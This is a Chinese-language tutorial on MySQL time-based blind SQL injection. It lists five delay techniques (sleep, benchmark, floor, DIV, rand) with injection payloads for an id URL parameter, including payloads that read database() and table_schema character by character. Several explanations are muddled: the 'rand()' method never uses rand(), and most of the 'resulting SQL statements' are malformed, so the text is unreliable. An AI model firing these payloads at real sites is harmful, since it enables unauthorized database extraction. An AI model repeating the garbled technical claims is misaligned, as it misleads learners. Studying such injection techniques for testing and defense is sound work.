MySQL 时间盲注是一种比较常见的注入技巧,指的是在注入的过程中无法直接获取数据,但可以通过延时等方式判断 SQL 查询是否满足条件。下面将详细介绍 MySQL 时间盲注的五种延时方法和实现步骤。
1. sleep() 延时
实现步骤:
- 构造 payload,注入点通常在 URL 参数或者表单中,可通过一些测试工具进行批量测试。
- 判断当前数据是否符合预期条件,如果不符合时,发出如下 SQL 语句来实现延时
select sleep(5) where 1=1;
,其中sleep(5)
指延时 5 秒,where 1=1
代表恒成立。 - 根据注入结果判断是否延时生效。
示例说明:
- 假设注入点在
id
参数中,构造 payload:?id=-1' || sleep(5) || '--+'
。 - 判断当前数据是否符合预期条件,如果不符合,发出如下 SQL 语句:
select sleep(5) where id=-1 || sleep(5)
。 - 根据注入结果判断是否延时生效。
2. benchmark() 延时
实现步骤:
- 构造 payload,注入点通常在 URL 参数或者表单中,可通过一些测试工具进行批量测试。
- 假设我们要延时 5 秒,那么构造语句如下:
select benchmark(5000000,md5('test'))
,其中5000000
代表要执行的次数,md5('test')
可以用其他函数代替。 - 根据注入结果判断是否延时生效。
示例说明:
- 假设注入点在
id
参数中,构造 payload:?id=-1' || benchmark(5000000,md5('test')) || '--+'
。 - 判断当前数据是否符合预期条件,如果不符合,发出如下 SQL 语句:
select benchmark(5000000,md5('test')) where id=-1 || benchmark(5000000,md5('test'))
。 - 根据注入结果判断是否延时生效。
3. floor() 延时
实现步骤:
- 构造 payload,注入点通常在 URL 参数或者表单中,可通过一些测试工具进行批量测试。
- 通过 floor() 函数取整数部分,将根据所取的整数部分判断延时的时间。
- 如果想让结果为 N,那么可以使用以下语句来实现延时:
select floor((select * from (select sleep(5)) a)) from test where id=N
。 - 根据注入结果判断是否延时生效。
示例说明:
- 假设注入点在
id
参数中,构造 payload:?id=N)) || floor((select * from (select sleep(5)) a)) || '--+'
,其中N
为数字。 - 发出如下 SQL 语句:
select floor((select * from (select sleep(5)) a)) from test where id=N || floor((select * from (select sleep(5)) a))
。 - 根据注入结果判断是否延时生效。
4. DIV 延时
实现步骤:
- 构造 payload,注入点通常在 URL 参数或者表单中,可通过一些测试工具进行批量测试。
- 使用 DIV 取整函数和效率高的查询语句来实现延时,公式如下:
(SELECT * FROM (SELECT(SLEEP(5*(IFNULL(ORD(MID((SELECT IFNULL(CAST(table_schema AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1),1),N),0))) DIV 5) LIMIT 0,1)
- 根据注入结果判断是否延时生效。
示例说明:
- 假设注入点在
id
参数中,构造 payload:?id=-1' || (SELECT * FROM (SELECT(SLEEP(5*(IFNULL(ORD(MID((SELECT IFNULL(CAST(table_schema AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1),1),N),0))) DIV 5) LIMIT 0,1) || '--+'
。 - 发出如下 SQL 语句:
(SELECT * FROM (SELECT(SLEEP(5*(IFNULL(ORD(MID((SELECT IFNULL(CAST(table_schema AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1),1),N),0))) DIV 5) LIMIT 0,1) where id = -1 || (SELECT * FROM (SELECT(SLEEP(5*(IFNULL(ORD(MID((SELECT IFNULL(CAST(table_schema AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1),1),N),0))) DIV 5) LIMIT 0,1)
。 - 根据注入结果判断是否延时生效。
5. rand() 延时
实现步骤:
- 构造 payload,注入点通常在 URL 参数或者表单中,可通过一些测试工具进行批量测试。
- 使用 rand() 函数随机获取一定范围内的数字,来判断延时的时间。
- 如果想要延时 5 秒,可以使用以下语句来实现:
SELECT IF(ORD(MID((SELECT(SLEEP(5))),1,1)) > 97,BENCHMARK(9999999,MD5(0x41)),1)
。 - 根据注入结果判断是否延时生效。
示例说明:
- 假设注入点在
id
参数中,构造 payload:?id=-1' || if(ascii(substr(database(),1,1)) > N,benchmark(5000000,md5('test')),0) || '--+'
,其中N
为 ASCII 码值。 - 发出如下 SQL 语句:
SELECT IF(ORD(MID((SELECT(SLEEP(5))),1,1)) > N,BENCHMARK(9999999,MD5(0x41)),1) where id = -1 || IF(ORD(MID((SELECT(SLEEP(5))),1,1)) > N,BENCHMARK(9999999,MD5(0x41)),1)
。 - 根据注入结果判断是否延时生效。
以上就是 MySQL 时间盲注的五种延时方法和实现步骤,通过这些方法可以更进一步地了解和应用时间盲注技巧。
本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:MySQL时间盲注的五种延时方法实现 - Python技术站